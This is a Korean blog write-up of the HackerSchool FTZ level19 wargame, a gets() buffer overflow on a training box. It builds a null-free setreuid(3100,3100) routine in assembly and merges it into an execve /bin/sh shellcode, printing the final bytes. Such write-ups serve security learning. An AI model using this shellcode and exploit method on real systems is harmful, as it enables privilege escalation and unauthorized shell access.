ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [HackerSchool] Level19
    오래된/HackerSchool 2011. 5. 10. 05:45

    [level19@ftz level19]$ cat hint

    main()
    { char buf[20];
      gets(buf);
      printf("%s\n",buf);

    [ level19 hint ]

    Buffer Overflow 문제인데, 지금까지와 다른점이라면 setreuid 함수가 실행되지 않는 다는 점이다.
    이전까지 사용해왔던 쉘코드를 수정해서 setreuid 함수가 같이 실행 되도록 변경해서 문제를 해결 할 수 있다.

    1. setreuid 를 포함한 Shellcode 제작

    먼저 setreuid 함수의 assm 코드를 확인하기 위해서 C 코드를 만든다.

    #include <stdio.h>

    int main(void)
    {
            setreuid(3100, 3100);
    }

    [ setreuid level20 코드 ]

    setreuid 함수의 assm 코드를 확인하기 위해서는 컴파일시 -static 옵션을 줘야만 한다.

    (gdb) disas main
    ...[중략]...
    0x080481f1 <main+33>:   push   $0xc1c
    0x080481f6 <main+38>:   push   $0xc1c
    0x080481fb <main+43>:   call   0x804dfa8 <setreuid>
    ...[중략]...
    (gdb) disas setreuid
    ...[중략]...
    0x0804dfe0 <setreuid+56>:       mov    0x8(%ebp),%eax
    0x0804dfe3 <setreuid+59>:       mov    0xc(%ebp),%ecx
    0x0804dfe6 <setreuid+62>:       push   %ebx
    0x0804dfe7 <setreuid+63>:       mov    %eax,%ebx
    0x0804dfe9 <setreuid+65>:       mov    $0x46,%eax
    0x0804dfee <setreuid+70>:       int    $0x80
    ...[중략]...
    [ setreuid 관련 주요 assm 코드 ]

    위 코드를 그대로 assm 코드로 만들어 컴파일 한 뒤, objdump 로 기계어를 추출해보도록 한다.

    globl main

    main:
            mov $0xc1c, %ebx
            mov %ebx, %ecx
            mov $0x46, %al
            int $0x80

    [ setreuid assm 코드 ]

    이제 objdump 를 이용하여 기계어 코드를 확인해 본다.

    080482f4 <main>:
    80482f4:       bb 1c 0c 00 00          mov    $0xc1c,%ebx
    80482f9:       89 d9                       mov    %ebx,%ecx
    80482fb:       b8 46 00 00 00          mov    $0x46,%eax
    8048300:       cd 80                     int       $0x80
    [ setreuid 기계어 코드 ]

    이번에도 0x00 코드들이 포함되어 있으므로, 이 코드들을 제거 하기위해 assm 코드를 수정해 보기로 한다.

    80482f4:       bb 1c 0c 00 00          mov    $0xc1c,%ebx

    $0xc1c 때문에 발생한 코드로 ebx 를 xor 를 이용 초기화 하고 movw 를 이용하여 bx 레지스터에만 채워넣도록 한다.

    80482fb:       b8 46 00 00 00          mov    $0x46,%eax

    $0x46 때문에 발생한 코드로 %ebx 값을 그대로 복사하여 모두 00 으로 초기화 시킨 후 al 레지스터에만 채워넣도록 한다.

    .globl main

    main:
            xor %ebx, %ebx
            movw $0xc1c, %bx
            mov %ebx, %ecx
            mov %ebx, %eax
            movb $0x46, %al
            int $0x80

    [ 0x00 을 제거한 assm 코드 ]

    이제 위 코드를 컴파일 한 후 objdump 를 이용하여 기계어 코드를 확인해 본다.

    080482f4 <main>:
    80482f4:       31 db                   xor     %ebx,%ebx
    80482f6:       89 d8                   mov    %ebx,%eax
    80482f8:       66 bb 1c 0c          mov    $0xc1c,%bx
    80482fc:       89 d9                   mov    %ebx,%ecx
    80482fe:       b0 46                   mov    $0x46,%al
    8048300:       cd 80                   int      $0x80
    [ 0x00 을 제거한 assm 코드 ]

    이제 0x00 이 모두 제거된 기계어 코드를 추출하는데 성공 했다.
    이제 이 코드를 기존의 shellcode와 결합 시키기만 하면 되겠다.

    \xeb\x10\x31\xc0\x89\xc2\xb0\x0b\x5b\x89\x1e\x88\x66\x04\x89\xf1\xcd\x80\xe8\xeb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68

    기존의 shellcode 에서 \xeb\x10 은 0x10 byte 떨어진 위치를 call 하는 코드라고 했었고
    \xe8\xeb\xff\xff\xff 는 0x24 byte 뒤로 jmp 하는 코드라고 했었다.
    따라서 중간에 setreuid 코드를 삽입하면서 위 두 개의 값을 코드 길이만큼 더하고 빼주면 되겠다.

    \xeb\x1e\x31\xdb\x89\xd8\x66\xbb\x1c\x0c\x89\xd9\xb0\x46\xcd\x80\x31\xc0\x89\xc2\xb0\x0b\x5b\x89\x1e\x88\x66\x04\x89\xf1\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68

    코드의 길이가 총 14 byte 이므로 0xe 를 더하고 빼면 위와 같이 setreuid 가 포함된 shellcode 가 만들어지게 된다.

    이제 이 코드를 이용해서 문제를 풀면 되겠다.

    '오래된 > HackerSchool' 카테고리의 다른 글

    [HackerSchool] Level20  (2) 2011.05.15
    [HackerSchool] Level18  (0) 2011.05.10
    [HackerSchool] Level17  (0) 2011.05.10
    [HackerSchool] Level16  (0) 2011.05.10
    [HackerSchool] Level15  (0) 2011.05.10

    댓글

Designed by Tistory.